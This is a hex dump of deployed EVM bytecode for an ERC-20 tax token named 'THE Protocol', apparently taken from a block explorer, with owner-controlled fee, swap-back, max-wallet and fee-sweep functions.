0x60806040526004361061021e5760003560e01c8063715018a611610123578063ca33e64c116100ab578063df20fd491161006f578063df20fd49146107e4578063e96fada21461080d578063f1f3bca314610838578063f2fde38b14610875578063f887ea401461089e57610225565b8063ca33e64c146106ff578063caf5f67d1461072a578063d51ed1c814610741578063d7c010321461077e578063dd62ed3e146107a757610225565b80638da5cb5b116100f25780638da5cb5b146106185780638f9a55c01461064357806395d89b411461066e578063a1ac727f14610699578063a9059cbb146106c257610225565b8063715018a61461057e5780637537ccb614610595578063850c0bd6146105be578063893d20e8146105ed57610225565b80632b112e49116101a6578063571ac8b011610175578063571ac8b014610485578063658d4b7f146104c25780636ddd1713146104eb5780636ec518b81461051657806370a082311461054157610225565b80632b112e49146103db5780632ccb1b3014610406578063313ce5671461042f57806349bd5a5e1461045a57610225565b806318160ddd116101ed57806318160ddd146102f85780631c500ddc14610323578063201e79911461034c57806323376e8f1461037557806323b872dd1461039e57610225565b806306fdde031461022a578063095ea7b3146102555780631161ae391461029257806316b9b95b146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f6108c9565b60405161024c9190612de9565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612eb3565b610906565b6040516102899190612f0e565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612f29565b6109f8565b6040516102c69190612f0e565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f191906130b1565b610a0d565b005b34801561030457600080fd5b5061030d610b2f565b60405161031a9190613109565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190613124565b610b39565b005b34801561035857600080fd5b50610373600480360381019061036e9190612f29565b610c35565b005b34801561038157600080fd5b5061039c60048036038101906103979190612f29565b610c47565b005b3480156103aa57600080fd5b506103c560048036038101906103c0919061319f565b610d0d565b6040516103d29190612f0e565b60405180910390f35b3480156103e757600080fd5b506103f0610f0d565b6040516103fd9190613109565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190612eb3565b610f8f565b005b34801561043b57600080fd5b5061044461102b565b604051610451919061320e565b60405180910390f35b34801561046657600080fd5b5061046f611034565b60405161047c9190613238565b60405180910390f35b34801561049157600080fd5b506104ac60048036038101906104a79190613253565b611058565b6040516104b99190612f0e565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e491906132ac565b61108b565b005b3480156104f757600080fd5b5061050061117b565b60405161050d9190612f0e565b60405180910390f35b34801561052257600080fd5b5061052b61118e565b6040516105389190613238565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613253565b6111b4565b6040516105759190613109565b60405180910390f35b34801561058a57600080fd5b506105936111fd565b005b3480156105a157600080fd5b506105bc60048036038101906105b791906132ac565b611350565b005b3480156105ca57600080fd5b506105d3611401565b6040516105e49594939291906132ec565b60405180910390f35b3480156105f957600080fd5b50610602611429565b60405161060f9190613238565b60405180910390f35b34801561062457600080fd5b5061062d611438565b60405161063a9190613238565b60405180910390f35b34801561064f57600080fd5b50610658611461565b6040516106659190613109565b60405180910390f35b34801561067a57600080fd5b50610683611467565b6040516106909190612de9565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb919061333f565b6114a4565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190612eb3565b6115b8565b6040516106f69190612f0e565b60405180910390f35b34801561070b57600080fd5b506107146115cd565b6040516107219190613238565b60405180910390f35b34801561073657600080fd5b5061073f6115f3565b005b34801561074d57600080fd5b50610768600480360381019061076391906133ae565b6116e9565b6040516107759190613109565b60405180910390f35b34801561078a57600080fd5b506107a560048036038101906107a091906133db565b611759565b005b3480156107b357600080fd5b506107ce60048036038101906107c9919061342e565b6118b6565b6040516107db9190613109565b60405180910390f35b3480156107f057600080fd5b5061080b6004803603810190610806919061346e565b61193d565b005b34801561081957600080fd5b506108226119b8565b60405161082f9190613238565b60405180910390f35b34801561084457600080fd5b5061085f600480360381019061085a91906134ae565b6119de565b60405161086c9190613109565b60405180910390f35b34801561088157600080fd5b5061089c60048036038101906108979190613253565b6119ea565b005b3480156108aa57600080fd5b506108b3611bab565b6040516108c0919061353a565b60405180910390f35b60606040518060400160405280600c81526020017f5448452050726f746f636f6c0000000000000000000000000000000000000000815250905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109e69190613109565b60405180910390a36001905092915050565b600082610a04836116e9565b11905092915050565b610a15611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a99906135a1565b60405180910390fd5b60005b8151811015610b2b57610b17828281518110610ac457610ac36135c1565b5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b12858581518110610b0557610b046135c1565b5b60200260200101516111b4565b611c9d565b508080610b239061361f565b915050610aa5565b5050565b6000600454905090565b610b41611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc5906135a1565b60405180910390fd5b84600a8190555083600c8190555082600b8190555081600d81905550610c2182610c1385610c05888a61203090919063ffffffff16565b61203090919063ffffffff16565b61203090919063ffffffff16565b600e8190555080600f819055505050505050565b81601381905550806014819055505050565b610c4f611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd3906135a1565b60405180910390fd5b610d0381610cf584600454611bd190919063ffffffff16565b611c4b90919063ffffffff16565b6005819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ef957610e78826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f04848484611c9d565b90509392505050565b6000610f8a610f3d600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166111b4565b610f7c610f6b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166111b4565b6004546120f290919063ffffffff16565b6120f290919063ffffffff16565b905090565b6001601760006101000a81548160ff021916908315150217905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661100057600080fd5b61100b823083611c9d565b506000601760006101000a81548160ff0219169083151502179055505050565b60006009905090565b7f000000000000000000000000ec39db88237d6b66a96c31238498b94c0b7e375381565b6000611084827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610906565b9050919050565b611093611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611117906135a1565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601560149054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611205611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611292576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611289906135a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113a657600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806000806000600a54600d54600b54600e54600f54945094509450945094509091929394565b6000611433611438565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b60606040518060400160405280600481526020017f5448452100000000000000000000000000000000000000000000000000000000815250905090565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114fa57600080fd5b60005b82518110156115b2578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb848381518110611535576115346135c1565b5b6020026020010151846040518363ffffffff1660e01b815260040161155b929190613667565b6020604051808303816000875af115801561157a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159e91906136a5565b5080806115aa9061361f565b9150506114fd565b50505050565b60006115c5338484611c9d565b905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661164957600080fd5b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476175309060405161169590613703565b600060405180830381858888f193505050503d80600081146116d3576040519150601f19603f3d011682016040523d82523d6000602084013e6116d8565b606091505b50509050806116e657600080fd5b50565b60006117526116f6610f0d565b61174461173560026117277f000000000000000000000000ec39db88237d6b66a96c31238498b94c0b7e37536111b4565b611bd190919063ffffffff16565b85611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050919050565b611761611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e5906135a1565b60405180910390fd5b82601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661199357600080fd5b8060168190555081601560146101000a81548160ff0219169083151502179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e549050919050565b6119f2611c95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a76906135a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae59061378a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808303611be35760009050611c45565b60008284611bf191906137aa565b9050828482611c00919061381b565b14611c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c37906138be565b60405180910390fd5b809150505b92915050565b6000611c8d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213c565b905092915050565b600033905090565b6000601760009054906101000a900460ff1615611cc657611cbf84848461219f565b9050612029565b7f000000000000000000000000ec39db88237d6b66a96c31238498b94c0b7e375373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d705750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc65750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e245760055482611dd8856111b4565b611de291906138de565b1115611e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1a9061395e565b60405180910390fd5b5b611e2c612372565b15611e3a57611e39612447565b5b611ec3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208e9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611f1185612b69565b611f1b5782611f27565b611f26858585612bc0565b5b9050611f7b81600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203090919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161201b9190613109565b60405180910390a360019150505b9392505050565b600080828461203f91906138de565b905083811015612084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207b906139ca565b60405180910390fd5b8091505092915050565b60008383111582906120d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cd9190612de9565b60405180910390fd5b50600083856120e591906139ea565b9050809150509392505050565b600061213483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061208e565b905092915050565b60008083118290612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217a9190612de9565b60405180910390fd5b5060008385612192919061381b565b9050809150509392505050565b600061222a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208e9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bf82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161235f9190613109565b60405180910390a3600190509392505050565b60007f000000000000000000000000ec39db88237d6b66a96c31238498b94c0b7e375373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156123dd5750601760009054906101000a900460ff16155b80156123f55750601560149054906101000a900460ff165b80156124425750601654600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601760006101000a81548160ff02191690831515021790555060006124726013546014546109f8565b61247d576000612480565b60005b60ff16905060006124c360026124b5600e546124a786601654611bd190919063ffffffff16565b611c4b90919063ffffffff16565b611c4b90919063ffffffff16565b905060006124dc826016546120f290919063ffffffff16565b90506000600267ffffffffffffffff8111156124fb576124fa612f6e565b5b6040519080825280602002602001820160405280156125295781602001602082028036833780820191505090505b5090503081600081518110612541576125406135c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106125b2576125b16135c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612655959493929190613b17565b600060405180830381600087803b15801561266f57600080fd5b505af1158015612683573d6000803e3d6000fd5b50505050600061269c82476120f290919063ffffffff16565b905060006126c86126b7600289611c4b90919063ffffffff16565b600e546120f290919063ffffffff16565b9050600061270460026126f6846126e88c88611bd190919063ffffffff16565b611c4b90919063ffffffff16565b611c4b90919063ffffffff16565b9050600061272f83612721600c5487611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050600061275a8461274c600d5488611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036128be576000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612821848461203090919063ffffffff16565b6175309060405161283190613703565b600060405180830381858888f193505050503d806000811461286f576040519150601f19603f3d011682016040523d82523d6000602084013e612874565b606091505b50509050806128b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128af90613bbd565b60405180910390fd5b50612a30565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161290a90613703565b600060405180830381858888f193505050503d8060008114612948576040519150601f19603f3d011682016040523d82523d6000602084013e61294d565b606091505b505090506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16846175309060405161299d90613703565b600060405180830381858888f193505050503d80600081146129db576040519150601f19603f3d011682016040523d82523d6000602084013e6129e0565b606091505b505090508180156129ee5750805b612a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2490613bbd565b60405180910390fd5b50505b6000891115612b4257601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612ac296959493929190613bdd565b60606040518083038185885af1158015612ae0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612b059190613c53565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a604051612b39929190613ca6565b60405180910390a15b505050505050505050506000601760006101000a81548160ff021916908315150217905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612c40600f54612c32612c237f000000000000000000000000ec39db88237d6b66a96c31238498b94c0b7e375373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146119de565b86611bd190919063ffffffff16565b611c4b90919063ffffffff16565b9050612c9481600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203090919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d349190613109565b60405180910390a3612d4f81846120f290919063ffffffff16565b9150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d93578082015181840152602081019050612d78565b60008484015250505050565b6000601f19601f8301169050919050565b6000612dbb82612d59565b612dc58185612d64565b9350612dd5818560208601612d75565b612dde81612d9f565b840191505092915050565b60006020820190508181036000830152612e038184612db0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e4a82612e1f565b9050919050565b612e5a81612e3f565b8114612e6557600080fd5b50565b600081359050612e7781612e51565b92915050565b6000819050919050565b612e9081612e7d565b8114612e9b57600080fd5b50565b600081359050612ead81612e87565b92915050565b60008060408385031215612eca57612ec9612e15565b5b6000612ed885828601612e68565b9250506020612ee985828601612e9e565b9150509250929050565b60008115159050919050565b612f0881612ef3565b82525050565b6000602082019050612f236000830184612eff565b92915050565b60008060408385031215612f4057612f3f612e15565b5b6000612f4e85828601612e9e565b9250506020612f5f85828601612e9e565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612fa682612d9f565b810181811067ffffffffffffffff82111715612fc557612fc4612f6e565b5b80604052505050565b6000612fd8612e0b565b9050612fe48282612f9d565b919050565b600067ffffffffffffffff82111561300457613003612f6e565b5b602082029050602081019050919050565b600080fd5b600061302d61302884612fe9565b612fce565b905080838252602082019050602084028301858111156130505761304f613015565b5b835b8181101561307957806130658882612e68565b845260208401935050602081019050613052565b5050509392505050565b600082601f83011261309857613097612f69565b5b81356130a884826020860161301a565b91505092915050565b6000602082840312156130c7576130c6612e15565b5b600082013567ffffffffffffffff8111156130e5576130e4612e1a565b5b6130f184828501613083565b91505092915050565b61310381612e7d565b82525050565b600060208201905061311e60008301846130fa565b92915050565b600080600080600060a086880312156131405761313f612e15565b5b600061314e88828901612e9e565b955050602061315f88828901612e9e565b945050604061317088828901612e9e565b935050606061318188828901612e9e565b925050608061319288828901612e9e565b9150509295509295909350565b6000806000606084860312156131b8576131b7612e15565b5b60006131c686828701612e68565b93505060206131d786828701612e68565b92505060406131e886828701612e9e565b9150509250925092565b600060ff82169050919050565b613208816131f2565b82525050565b600060208201905061322360008301846131ff565b92915050565b61323281612e3f565b82525050565b600060208201905061324d6000830184613229565b92915050565b60006020828403121561326957613268612e15565b5b600061327784828501612e68565b91505092915050565b61328981612ef3565b811461329457600080fd5b50565b6000813590506132a681613280565b92915050565b600080604083850312156132c3576132c2612e15565b5b60006132d185828601612e68565b92505060206132e285828601613297565b9150509250929050565b600060a08201905061330160008301886130fa565b61330e60208301876130fa565b61331b60408301866130fa565b61332860608301856130fa565b61333560808301846130fa565b9695505050505050565b60008060006060848603121561335857613357612e15565b5b600061336686828701612e68565b935050602084013567ffffffffffffffff81111561338757613386612e1a565b5b61339386828701613083565b92505060406133a486828701612e9e565b9150509250925092565b6000602082840312156133c4576133c3612e15565b5b60006133d284828501612e9e565b91505092915050565b6000806000606084860312156133f4576133f3612e15565b5b600061340286828701612e68565b935050602061341386828701612e68565b925050604061342486828701612e68565b9150509250925092565b6000806040838503121561344557613444612e15565b5b600061345385828601612e68565b925050602061346485828601612e68565b9150509250929050565b6000806040838503121561348557613484612e15565b5b600061349385828601613297565b92505060206134a485828601612e9e565b9150509250929050565b6000602082840312156134c4576134c3612e15565b5b60006134d284828501613297565b91505092915050565b6000819050919050565b60006135006134fb6134f684612e1f565b6134db565b612e1f565b9050919050565b6000613512826134e5565b9050919050565b600061352482613507565b9050919050565b61353481613519565b82525050565b600060208201905061354f600083018461352b565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061358b602083612d64565b915061359682613555565b602082019050919050565b600060208201905081810360008301526135ba8161357e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061362a82612e7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361365c5761365b6135f0565b5b600182019050919050565b600060408201905061367c6000830185613229565b61368960208301846130fa565b9392505050565b60008151905061369f81613280565b92915050565b6000602082840312156136bb576136ba612e15565b5b60006136c984828501613690565b91505092915050565b600081905092915050565b50565b60006136ed6000836136d2565b91506136f8826136dd565b600082019050919050565b600061370e826136e0565b9150819050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613774602683612d64565b915061377f82613718565b604082019050919050565b600060208201905081810360008301526137a381613767565b9050919050565b60006137b582612e7d565b91506137c083612e7d565b92508282026137ce81612e7d565b915082820484148315176137e5576137e46135f0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061382682612e7d565b915061383183612e7d565b925082613841576138406137ec565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a8602183612d64565b91506138b38261384c565b604082019050919050565b600060208201905081810360008301526138d78161389b565b9050919050565b60006138e982612e7d565b91506138f483612e7d565b925082820190508082111561390c5761390b6135f0565b5b92915050565b7f4d61782057616c6c657420457863656564656400000000000000000000000000600082015250565b6000613948601383612d64565b915061395382613912565b602082019050919050565b600060208201905081810360008301526139778161393b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006139b4601b83612d64565b91506139bf8261397e565b602082019050919050565b600060208201905081810360008301526139e3816139a7565b9050919050565b60006139f582612e7d565b9150613a0083612e7d565b9250828203905081811115613a1857613a176135f0565b5b92915050565b6000819050919050565b6000613a43613a3e613a3984613a1e565b6134db565b612e7d565b9050919050565b613a5381613a28565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a8e81612e3f565b82525050565b6000613aa08383613a85565b60208301905092915050565b6000602082019050919050565b6000613ac482613a59565b613ace8185613a64565b9350613ad983613a75565b8060005b83811015613b0a578151613af18882613a94565b9750613afc83613aac565b925050600181019050613add565b5085935050505092915050565b600060a082019050613b2c60008301886130fa565b613b396020830187613a4a565b8181036040830152613b4b8186613ab9565b9050613b5a6060830185613229565b613b6760808301846130fa565b9695505050505050565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b6000613ba7601e83612d64565b9150613bb282613b71565b602082019050919050565b60006020820190508181036000830152613bd681613b9a565b9050919050565b600060c082019050613bf26000830189613229565b613bff60208301886130fa565b613c0c6040830187613a4a565b613c196060830186613a4a565b613c266080830185613229565b613c3360a08301846130fa565b979650505050505050565b600081519050613c4d81612e87565b92915050565b600080600060608486031215613c6c57613c6b612e15565b5b6000613c7a86828701613c3e565b9350506020613c8b86828701613c3e565b9250506040613c9c86828701613c3e565b9150509250925092565b6000604082019050613cbb60008301856130fa565b613cc860208301846130fa565b939250505056fea264697066735822122005b697b0e36ea97737dd898f98ed1ce99adf71b52b723642e04edd4e21342c9164736f6c63430008110033
Deployed Bytecode Sourcemap
